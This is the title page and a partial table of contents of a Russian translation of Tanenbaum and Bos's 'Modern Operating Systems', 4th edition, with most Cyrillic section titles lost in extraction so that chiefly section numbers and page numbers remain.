MODERN

OPERATING SYSTEMS
4th Edition

Andrew S. Tanenbaum,
Herbert Bos

.
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4 -

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--

2015

 32.973.3-018.2
004.451
18

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18

. 4- . .: , 2015. 1120 .:
. ( computer science).
ISBN 978-5-496-01395-6
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. , Windows Vista Windows 8.1
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Android. , Unix Linux, RAID. ,
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12+ ( 29 2010 . 436-.)

32.973.3-018.2
004.451

Prentice Hall, Inc. Upper Sadle River, New Jersey 07458.

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, , , . , ,

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ISBN 978-0133591620 .
ISBN 978-5-496-01395-6

Prentice Hall
, 2015
, , 2015

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301
5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 380
6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 488
7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 527
8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 576
9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 659
10. : Unix, Linux Android . . . . . . . . . . . . . . . . . . . . . . . . . 784
11. : Windows 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 931
12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1058
13. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1110

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
1.1. ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . .
1.1.2. . . . . . . . . . . . . . . . . . . . .
1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.2.1. (19451955): . . . . . . . . . . . . . . . . . . . . . . . .
1.2.2. (19551965): . .
1.2.3. (19651980): . . . . . .
1.2.4. ( 1980 ): . . .
1.2.5. ( 1990 ): . . . . . . . . .
1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.2. . . . . . . . . . . . . . . . . . . . . . . . .
1.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.5. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.4. . . . . . . . . . . . . . . . . . . . . . . .
1.4.5. . . . . . . . . . . . . .
1.4.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.9. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.4. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . .

24
24
26
27
28
29
31
36
41
42
43
45
47
50
51
55
58
59
59
60
60
60
61
61
61
62
63
63
63
66
66
69
70
70
72
75
80
82
83

1.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
1.6.5. Windows Win32 API . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
1.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
1.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
1.7.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
1.7.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
1.7.4. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
1.7.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
1.7.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
1.8. C . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
1.8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
1.8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
1.8.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
1.8.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
1.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
1.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104
1.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
1.12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.3. POSIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.4. . . . . . . . . . . . . . . . . . . . .
2.2.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.9. . . . . . . . . . . . . . . . . . . . . . . .
2.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.10. : . . . . . . . . . . . . .
2.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

111
112
114
116
117
118
120
122
123
124
129
133
135
138
140
140
142
143
146
147
148
150
155
158
161
167
172
175
177
178
179
186

2.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.6. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

188
195
196
197
198
199
202
203
205
205

3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2. : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3.3. . . . . . . . . . . . . . . . . . . . . . . .
3.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.2. . . . . . . . . . . . . . . .
3.4.3. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.6. . . . . . . . . . . . . . . . . .
3.4.7. LRU . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.9. WSClock . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.10. . . . .
3.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.1. . . . . . . . . . . . . . . . . . .
3.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.1. . . . . . . . . . . . . . .
3.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

215
218
218
221
224
227
229
233
235
239
243
244
245
246
246
247
248
248
250
254
256
257
258
260
261
263
264
265
268
268
269
270
270
271
272
273
274
276
277
281


3.7.2. : MULTICS . . . . . . . .
3.7.3. : Intel x86 . . . . . . . . .
3.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

9
281
285
290
290
291

4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301
4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.7. , . . . . . . . . . . .
4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.2.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.2.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.5.1. MS-DOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.5.2. UNIX V7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.5.3. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

303
303
305
306
308
309
310
312
314
315
315
316
318
319
320
321
326
329
332
334
336
339
339
346
352
355
360
361
361
365
367
373
374
374

5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 380
5.1. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.1.1. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.1.3. -, . . . . . . . . . . . . . . . . . . . . . .
5.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.1.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

380
381
382
383
387
391

10

5.2. - . . . . . . . . . . . . . . . . . . .
5.2.1. , - . . . . . . . . .
5.2.2. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.2.3. -, . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.2.4. - DMA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3.3. -,
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3.4. -,
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4.3. . . . . . . . . . . . . . . . . . . . .
5.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.6. : , , . . . . . . . . . . . . . . . . . . . . . .
5.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . .
5.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.9. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

395
395
397
398
399
400
400
402
406
412
414
414
421
425
429
432
435
436
437
440
442
442
448
466
467
468
470
476
477
479
480

6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 488
6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.2.1. . . . . . . . . . . . . . . . . . . . . .
6.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.4. . . . . . . . . . . .
6.4.1.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.4.2.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5.4. . . . . . . . . . . . . . . . . . . . . . . . . .

489
489
490
492
493
493
496
497
497
499
502
504
504
506
507
508


6.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

11
510
510
511
512
512
513
513
514
516
518
518
519
520

7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 527
7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.2. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.4.1. , . . . . . . . . . . . . . . . .
7.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.5. ? . . . . . . . . . . . . . . . . . . . . . . . . . .
7.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.6.1. . . . . . . . . . . . . . . . . . . . . . . . .
7.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.7. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.7.1. - . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.7.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.7.3. - . . . .
